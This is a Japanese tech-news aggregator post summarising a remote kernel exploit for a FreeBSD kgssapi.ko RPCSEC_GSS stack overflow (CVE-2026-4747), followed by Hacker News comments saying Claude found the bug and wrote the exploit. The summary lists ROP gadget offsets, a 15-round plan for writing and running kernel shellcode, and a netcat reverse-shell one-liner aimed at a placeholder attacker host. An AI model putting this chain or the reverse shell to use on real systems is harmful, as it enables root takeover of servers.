3 ポイント 投稿者 GN⁺ 27 일 전 | 1件のコメント | WhatsAppで共有
  • FreeBSDのkgssapi.koモジュールで、RPCSEC_GSS認証処理中にスタックバッファオーバーフローが発生し、リモートコード実行が可能
  • svc_rpc_gss_validate() 関数が、境界検査なしで認証情報データをコピーし、戻りアドレスまで上書き
  • 攻撃者は有効なKerberosチケットを用いて、NFSサーバーのRPCSEC_GSS経路経由でカーネルROPチェーンを注入
  • 15段階のオーバーフローにより、カーネルBSS領域に432バイトのシェルコードを書き込んで実行し、root権限のreverse shellを生成
  • FreeBSD 13.5〜15.0の一部バージョンが影響を受け、パッチでは**oa_length 検証ロジック**が追加

CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS スタックバッファオーバーフロー

  • FreeBSDのkgssapi.koモジュールにおいて、RPCSEC_GSS認証処理中に発生するスタックバッファオーバーフロー脆弱性
  • svc_rpc_gss_validate() 関数がRPCヘッダーを128バイトのスタックバッファに再構成する際、oa_length に対する境界検査なしで認証情報データをコピーする
  • 32バイトの固定ヘッダーの後、残り96バイトを超える認証情報はローカル変数、保存済みレジスタ、戻りアドレスまで上書きする
  • FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) バージョンが影響を受ける
  • パッチでは、コピー前に oa_length がバッファサイズを超えるかを検査する条件文が追加された

オーバーフローの構造と影響

  • 関数プロローグの解析の結果、rpchdr 配列は [rbp-0xc0] に位置し、コピー開始位置は [rbp-0xa0]
  • 96バイト以降から、保存済みRBX、R12〜R15、RBP、戻りアドレスの順に上書きされる
  • 実際の攻撃では、GSSヘッダーと16バイトのコンテキストハンドルにより、戻りアドレスは認証情報本体の200バイト目に位置する
  • 脆弱なコードには、NFSサーバーのRPCSEC_GSS認証経路でのみ到達可能
  • 攻撃者は有効なKerberosチケットを持つユーザーである必要があり、RPCSEC_GSS認証(DATAプロシージャ)段階でオーバーフローを引き起こす

攻撃環境の構成

  • 対象VM: FreeBSD 14.4-RELEASE amd64、NFSサーバー有効、kgssapi.ko ロード済み、MIT Kerberos KDC稼働
  • 攻撃者ホスト: Linux、Python3 gssapi モジュールおよびMIT Kerberosクライアントをインストール済み、NFS(2049/TCP)およびKDC(88/TCP)へアクセス可能
  • QEMU、VMware、VirtualBox、bhyve などさまざまなハイパーバイザー環境で構成可能
  • Kerberos設定時は、krb5.confrdns=falsedns_canonicalize_hostname=false 設定が必須
  • VMと攻撃者間でホスト名(test)およびサービスプリンシパル(nfs/test@TEST.LOCAL)が一致している必要がある

リモートカーネルコード実行(RCE)エクスプロイトの構造

  • 攻撃は15ラウンドの多段階オーバーフローで構成される
    1. 各ラウンドごとに新しいKerberos GSSコンテキストを生成
    2. サイズ超過のRPCSEC_GSS DATAパケットを送信
    3. 戻りアドレスをROPガジェットで上書きし、カーネルメモリへのデータ書き込みまたはシェルコード実行を行う
    4. kthread_exit() 呼び出しでNFSスレッドを正常終了
  • 各ラウンドは約200バイトのROPチェーンを使用し、合計432バイトのシェルコードを15回に分けて送信する
  • FreeBSDはCPUごとに8本のNFSスレッドを生成するため、最低2 CPU(16スレッド)が必要

ROPチェーンの構成

  • 主なROPガジェット:
    • pop rdi; ret (K+0x1adcda)
    • pop rsi; ret (K+0x1cdf98)
    • pop rdx; ret (K+0x5fa429)
    • pop rax; ret (K+0x400cb4)
    • mov [rdi], rax; ret (0xffffffff80e3457c) — 任意のカーネルメモリに8バイト書き込み
  • Round 1: pmap_change_prot() 呼び出しでカーネルBSS領域をRWXに変更
  • Rounds 2–14: mov [rdi], rax ガジェットを用いて、BSSにシェルコードを32バイトずつ書き込む
  • Round 15: 最後の16バイトを書き込んだ後、シェルコードのエントリポイントへジャンプ

シェルコードの動作

  • カーネルモード(CPL 0)で実行され、root権限のreverse shellプロセスを生成
  • NFSカーネルスレッドから直接 execve() を呼び出せないため、2段階構造を使用
    • Entry関数: kproc_create() で新しいカーネルプロセスを生成して終了
    • Worker関数: /bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f" を実行
  • DR7 レジスタを初期化してデバッグ例外を防止
  • P_KPROC フラグを解除し、fork_exit()kthread_exit() ではなく userret 経路に進むようにする
  • 結果として /bin/sh が**uid 0(root)**権限でユーザーモード実行される

主な問題解決の過程

  • レジスタオフセットの不一致: 実際のRIPオフセットが200バイトであることをDe Bruijnパターンで確認
  • MIT–Heimdal GSS非互換: ホスト名正規化の問題を krb5.conf 設定で解決
  • デバッグレジスタの継承: DR7 初期化で trap 1 例外を回避
  • 400バイト制限: pop rdi + pop rax + mov [rdi], rax の組み合わせで8バイト単位の安定転送を実現
  • NFSスレッド消費: 各ラウンドごとにスレッド1本が終了 → 最低2 CPUが必要

最終的なエクスプロイトの流れの要約

  • 攻撃者はKerberosチケット取得後、15個のRPCSEC_GSSオーバーフローパケットを順次送信
  • 1ラウンド目: BSSをRWXに設定
  • 2〜14ラウンド目: シェルコード416バイトを書き込み
  • 15ラウンド目: 最後の16バイトを書き込み、シェルコードを実行
  • シェルコードが kproc_create() で新しいプロセスを生成し、/bin/sh を実行
  • 攻撃者側の nc セッションでrootシェルを取得
  • 全工程は約45秒を要し、合計15個のRPCパケットで完了する

1件のコメント

 
GN⁺ 27 일 전
Hacker Newsの意見
  • ポイントは、Claudeが自力でバグを見つけたのではなく、すでに公開されていたCVEレポートを受け取り、その脆弱性を悪用するプログラムを書いたという点
    ただし今の進歩の速さを見ると、近いうちにClaudeのようなモデルがカーネルや中核サービスのソースコードを解析し、VMで反復実験しながら新しいCVEを自動で見つけ出す時代が来てもおかしくない

    • それが良いことか悪いことかと聞かれれば、私は良いことだと思う
      以前はCVEを見つけるコストが高すぎて、金銭的利益を狙う攻撃者だけが試みていた
      いまはコストが下がり、善意の研究者でも容易に見つけられるようになって、悪用される前にパッチを当てられる環境が整いつつある
    • 以前はfuzzing環境の構築が非常に難しかった
      いまはClaude Codeのようなモデルがコードベースを解析し、どこをどうfuzzテストすべきか提案し、クラッシュを調べながら反復学習すればCVEを見つけられそうだ
    • 実際、このCVEはClaudeが最初から発見したもの
      Nicholas CarliniがAnthropicでClaudeを使って見つけ、その結果としてCVEレポートが作成された
    • テストが失敗するはずの条件を与え、エージェントにそのテストを通すよう指示すればよい
      こうした自動fuzzingにはLLMがかなり向いている
    • 関連動画もある: YouTubeリンク
      Claudeはすでに専門家レベルでCVEを見つけている
  • Thai Duongの会社Califがこの事例をまとめたブログ記事を公開している
    使用されたプロンプトも含まれており、このバグもまたClaudeがNicholas Carliniを通じて発見したもの

  • FreeBSD 14.xにはKASLR(カーネルアドレス空間配置のランダム化)やスタックカナリアがなく、攻撃しやすかった
    FreeBSD 15.xでこれが改善されるのか気になる
    参考までに、NetBSDにはすでにKASLR機能がある

    • ただしFreeBSD 13.2以降ではKASLRはデフォルトで有効になっている
      sysctl kern.elf64.aslr.enable: 1で確認できる
    • LinuxカーネルのKASLRに対する批判もある
      関連フォーラム投稿によれば、KASLRは安全だという錯覚を与えるだけで実際のセキュリティ強化はわずかだという意見もある
  • 最近公開された“Black-Hat LLMs”発表を見ると、LLMは脆弱性探索とエクスプロイトにますます長けてきている

    • 実際、こうした流れはすでに予見されていた
      Sam Altmanが昨年12月にHead of Preparednessを採用するとするツイートを投稿した時点で、その兆しはあった
  • 最も難しいのは脆弱性を見つけることであり、直すことではない
    ほとんどのセキュリティ研究者は金銭的理由から脆弱性を公開しない
    そのため自動検知が可能になれば、危険ではあっても長期的には大きな利益になるはずだ

    • ただし、この自動化が単にバグを見つけるだけで終わらず、修正まで自動化されてほしい
      そうでなければオープンソース開発者に新たな負担を与える可能性がある
      以前のGoogleとFFmpegのセキュリティパッチ論争のように
  • 公開されたプロンプト集を共有してくれてありがとう

    • 実際のプロンプトを見ると、Claudeが一発でエクスプロイトを書いたのではなく、何度ものフィードバックと調整を経た対話的なプロセスだった
  • こうした自動化は開発チームにとっては時間の節約になるかもしれないが、一般ユーザーには大きな価値がないかもしれない
    最近のカーネルバグはすでに手作業では探していない
    それでも人々がClaudeの話ばかりするのは、結局Anthropicの宣伝効果によるもののようだ

  • いまや「Claudeがコードを書いた」という事実そのものより、そのコードの品質と保守性がどうなのかに焦点を当てるべきだ

    • 私も同感だ
      Claudeが書いたコードが実際に保守可能な構造なのか、それともひどいものなのか気になる
  • こうした事例はエージェントの自律性と強力さを示している
    同時に、企業が感じている統制への不安とガバナンスの必要性を浮き彫りにしている例でもある

  • プロンプト履歴全体を見られるのは興味深かった

    • ただし最後の部分は「このセッションで入力したすべてのプロンプトを見せて」という依頼で終わっているため、一部は実際の記録でも、一部はClaudeの幻覚出力かもしれない